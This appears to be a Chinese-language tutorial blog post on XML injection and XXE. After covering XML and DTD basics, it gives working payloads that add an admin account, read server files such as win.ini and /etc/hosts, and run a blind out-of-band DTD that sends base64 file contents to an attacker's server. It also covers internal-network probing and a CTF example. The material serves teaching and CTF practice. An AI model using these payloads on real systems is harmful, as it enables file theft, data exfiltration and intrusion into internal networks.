关于XXE漏洞
阅读原文时间:2023年07月08日阅读:2

XXE漏洞

介绍 XXE 之前,我先来说一下普通的 XML 注入,这个的利用面比较狭窄,如果有的话应该也是逻辑漏洞

1.1xml定义

XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素

什么是 XML?

XML 指可扩展标记语言(EXtensible Markup Language)。

XML 的设计宗旨是传输数据,而不是显示数据。

XML 是 W3C 的推荐标准。

XML 不会做任何事情。XML 被设计用来结构化、存储以及传输信息。

XML 语言没有预定义的标签。

XML 和 HTML 之间的差异

XML 不是 HTML 的替代。

XML 和 HTML 为不同的目的而设计:

XML 被设计用来传输和存储数据,其焦点是数据的内容。

HTML 被设计用来显示数据,其焦点是数据的外观。

HTML 旨在显示信息,而 XML 旨在传输信息。

为什么需要XML

现实生活中一些数据之间往往存在一定的关系。我们希望能在计算机中保存和处理这些数据的同时能够保存和处理他们之间的关系。XML就是为了解决这样的需求而产生数据存储格式。

1.2文档结构

XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

<!--XML声明-->
<?xml&nbsp;version="1.0"? encoding="UTF-8" standalone="yes"?>
standalone值是yes的时候表示DTD仅用于验证文档结构,从而外部实体将被禁用,但它的默认值是no,而且有些分析器会直接忽略这一项。
<!--文档类型定义-->
<!DOCTYPE&nbsp;note&nbsp;[&nbsp;&nbsp;<!--定义此文档是&nbsp;note&nbsp;类型的文档-->
<!ELEMENT&nbsp;note&nbsp;(to,from,heading,body)>&nbsp;&nbsp;<!--定义note元素有四个元素-->
<!ELEMENT&nbsp;to&nbsp;(#PCDATA)>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<!--定义to元素为”#PCDATA”类型-->
<!ELEMENT&nbsp;from&nbsp;(#PCDATA)>&nbsp;&nbsp;&nbsp;<!--定义from元素为”#PCDATA”类型-->
<!ELEMENT&nbsp;head&nbsp;(#PCDATA)>&nbsp;&nbsp;&nbsp;<!--定义head元素为”#PCDATA”类型-->
<!ELEMENT&nbsp;body&nbsp;(#PCDATA)>&nbsp;&nbsp;&nbsp;<!--定义body元素为”#PCDATA”类型-->
]]]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You&nbsp;are&nbsp;a&nbsp;good&nbsp;man</body>
</note>

基本语法:

  • 所有 XML 元素都须有关闭标签。
  • XML 标签对大小写敏感。
  • XML 必须正确地嵌套。
  • XML 文档必须有根元素。
  • XML 的属性值须加引号。

DTD基本概念

XML 文档有自己的一个格式规范,这个格式规范是由一个叫做 DTD(document type definition) 的东西控制的。

DTD用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明),也可以独立的放在另外一个单独的文件中(外部引用)。是XML文档中的几条语句,用来说明哪些元素/属性是合法的以及元素间应当怎样嵌套/结合,也用来将一些特殊字符和可复用代码段自定义为实体。

实体引用

XML元素以形如 foo 的标签开始和结束,如果元素内部出现如< 的特殊字符,解析就会失败,为了避免这种情况,XML用实体引用(entity reference)替换特殊字符。XML预定义五个实体引用,即用< > & ' " 替换 < > & ' "

实体引用可以起到类似宏定义和文件包含的效果,为了方便,我们会希望自定义实体引用,这个操作在称为 Document Type Defination(DTD,文档类型定义)的过程中进行。

dtd的引入方式

DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。

内部 DTD

使用内部引用的dtd文件,即将约束规则定义在xml文档中

2.1内部引用DTD

<!DOCTYPE 根元素名称 [元素声明]>

示例代码

<?xml version="1.0"?>
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)> <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型-->
]>
<note>
<to>Y0u</to>
<from>@re</from>
<head>v3ry</head>
<body>g00d!</body>
</note>

示例代码二

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "test" >]>
这里 定义元素为 ANY 说明接受任何元素,但是定义了一个 xml 的实体(这是我们在这篇文章中第一次看到实体的真面目,实体其实可以看成一个变量,到时候我们可以在 XML 中通过 & 符号进行引用),那么 XML 就可以写成这样
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
我们使用 &xxe 对 上面定义的 xxe 实体进行了引用,到时候输出的时候 &xxe 就会被 “test” 替换。

2.2外部引用DTD 重点!

(1)引入外部的dtd文件

<!DOCTYPE 根元素名称 SYSTEM "dtd路径"> 本地的

(2)使用外部的dtd文件(网络上的dtd文件)

<!DOCTYPE 根元素 PUBLIC "DTD名称" "DTD文档的URL"> 网络上的

当使用外部DTD时,通过如下语法引入:

<!DOCTYPE root-element SYSTEM "filename">

示例代码:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root-element SYSTEM "test.dtd">
<note>
<to>Y0u</to>
<from>@re</from>
<head>v3ry</head>
<body>g00d!</body>
</note>

test.dtd
<!ELEMENT to (#PCDATA)><!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)><!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)><!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)><!--定义body元素为”#PCDATA”类型-->

示例代码2:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<creds>
    <user>&xxe;</user>
    <pass>mypass</pass>
</creds>
这样对引用资源所做的任何更改都会在文档中自动更新,非常方便(方便永远是安全的敌人)
用 &实体名; 引用的实体,他在DTD 中定义,在 XML 文档中引用

示例代码3:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]>
<updateProfile>
    <firstname>Joe</firstname>
    <lastname>&file;</lastname>
    ...
</updateProfile>

示例代码4:

<!ENTITY % an-element "<!ELEMENT mytag (subtag)>">
<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd">
%an-element; %remote-dtd;

(1)使用 % 实体名(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名; 引用
(2)只有在 DTD 文件中,参数实体的声明才能引用其他实体
(3)和通用实体一样,参数实体也可以外部引用

3.1XML注入前提条件

(1)用户能够控制数据的输入

(2)程序有拼凑的数据

注入实例

<?xml version="1.0" encoding="utf-8"?>
<manager>
    <admin id="1">
    <username>admin</username>
    <password>admin</password>

    </admin>
    <admin id="2">
    <username>root</username>
    <password>root</password>
    </admin>
</manager>

对于上面的xml文件,如果攻击者能够掌控password字段,那么就会产生XML注入,构造payload

admin </password></admin><admin id="3"><name>hack</name><password>hacker</password></admin>

最终被修改为:

<?xml version="1.0" encoding="utf-8"?>
<manager>
    <admin id="1">
    <name>admin</name>
    <password>admin</password>
    </admin>
    <admin id="2">
    <username>root</username>
    <password>root</password>
    </admin>
    <admin id="3">
    <name>hack</name>
    <password>hacker</password>
    </admin>
</manager>

这样就通过XML注入添加了一个名为hack、密码为:hacker的管理员账户。

XML注入两大要素:标签闭合和获取XML表结构

3.2XML注入防御

(1)对用户的输入进行过滤

(2)对用户的输入进行转义

XXE漏洞简介

XXE漏洞全称XML External Entity Injection 即XML外部实体注入。

XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。

XXE漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。解析xml在php库libxml,libxml>=2.9.0的版本中没有XXE漏洞。

simplexml_load_string()可以读取XML

4.1有回显读本地敏感文件(Normal XXE)

1.本地搭建环境

<?php
    libxml_disable_entity_loader (false);//当这个是true就无法从外部实体注入了,也是防御手段之一
    $xmlfile = file_get_contents('php://input');
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    $creds = simplexml_import_dom($dom);
    echo $creds;
payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ELEMENT creds ANY >
<!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]>
<creds>&goodies;</creds>//可以实现任意文件读取
//当读取的内容有<>&'" 不加密无法读取,方法一
payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ELEMENT creds ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=D:/phpStudy/PHPTutorial/WWW/xxe-imbrave/fkme.txt"> ]>
<creds>&xxe;</creds>
//当读取的内容有<>&'" 不加密无法读取,方法二
方法2
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///d:/fkme.txt">  //文件位置
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "d:/evil.dtd"或"http://127.0.0.1/evil.dtd">
%dtd; ]>
<roottag>&all;</roottag>

evil.dtd
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY all "%start;%goodies;%end;">
    有些内容可能不想让解析引擎解析执行,而是当做原始的内容处理,用于把整段数据解析为纯字符数据而不是标记的情况包含大量的 <> & 或者“ 字符,CDATA节中的所有字符都会被当做元素字符数据的常量部分,而不是 xml标记可以输入任意字符除了 ]]> 不能嵌套用处是万一某个标签内容包含特殊字符或者不确定字符,我们可以用 CDATA包起来那我们把我们的读出来的数据放在 CDATA 中输出就能进行绕过

4.2无回显读取本地敏感文件(Blind OOB XXE)

本地搭建文件
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
?>


payload:
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://公网ip地址/test.dtd">
%remote;%int;%send;
]>
test.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/test.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://公网服务器ip地址:端口号?p=%file;'>">
就这监听端口号就会反弹信息

整个利用过程

我们从 payload 中能看到 连续调用了三个参数实体 %remote;%int;%send;,这就是我们的利用顺序,%remote 先调用,调用后请求远程服务器上的 test.dtd ,有点类似于将 test.dtd 包含进来,然后 %int 调用 test.dtd 中的 %file, %file 就会去获取服务器上面的敏感文件,然后将 %file 的结果填入到 %send 以后(因为实体的值中不能有 %, 所以将其转成html实体编码 %),我们再调用 %send; 把我们的读取到的数据发送到我们的远程 vps 上,这样就实现了外带数据的效果,完美的解决了 XXE 无回显的问题。

新的思考:

我们刚刚都只是做了一件事,那就是通过 file 协议读取本地文件,或者是通过 http 协议发出请求,熟悉 SSRF 的童鞋应该很快反应过来,这其实非常类似于 SSRF ,因为他们都能从服务器向另一台服务器发起请求,那么我们如果将远程服务器的地址换成某个内网的地址,(比如 192.168.0.10:8080)是不是也能实现 SSRF 同样的效果呢?没错,XXE 其实也是一种 SSRF 的攻击手法,因为 SSRF 其实只是一种攻击模式,利用这种攻击模式我们能使用很多的协议以及漏洞进行攻击。

新的利用:

所以要想更进一步的利用我们不能将眼光局限于 file 协议,我们必须清楚地知道在何种平台,我们能用何种协议

4.3HTTP 内网主机探测

我们以存在 XXE 漏洞的服务器为我们探测内网的支点。要进行内网探测我们还需要做一些准备工作,我们需要先利用 file 协议读取我们作为支点服务器的网络配置文件,看一下有没有内网,以及网段大概是什么样子(我以linux 为例),我们可以尝试读取 /etc/network/interfaces 或者 /proc/net/arp 或者 /etc/hosts 文件以后我们就有了大致的探测方向了

这里以一个题目为例[NCTF2019]True XML cookbook

抓包,

)

payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE any[
  <!ENTITY file SYSTEM "file:///etc/hosts">
]>
<user><username>&file;</username><password>1</password></user>

看到了一些地址应该可以使用http内网探测,这个题也是很仁慈的,就在它后面的那一台里面就是flag

linux下目录的作用:https://www.cnblogs.com/dingn/p/5809298.html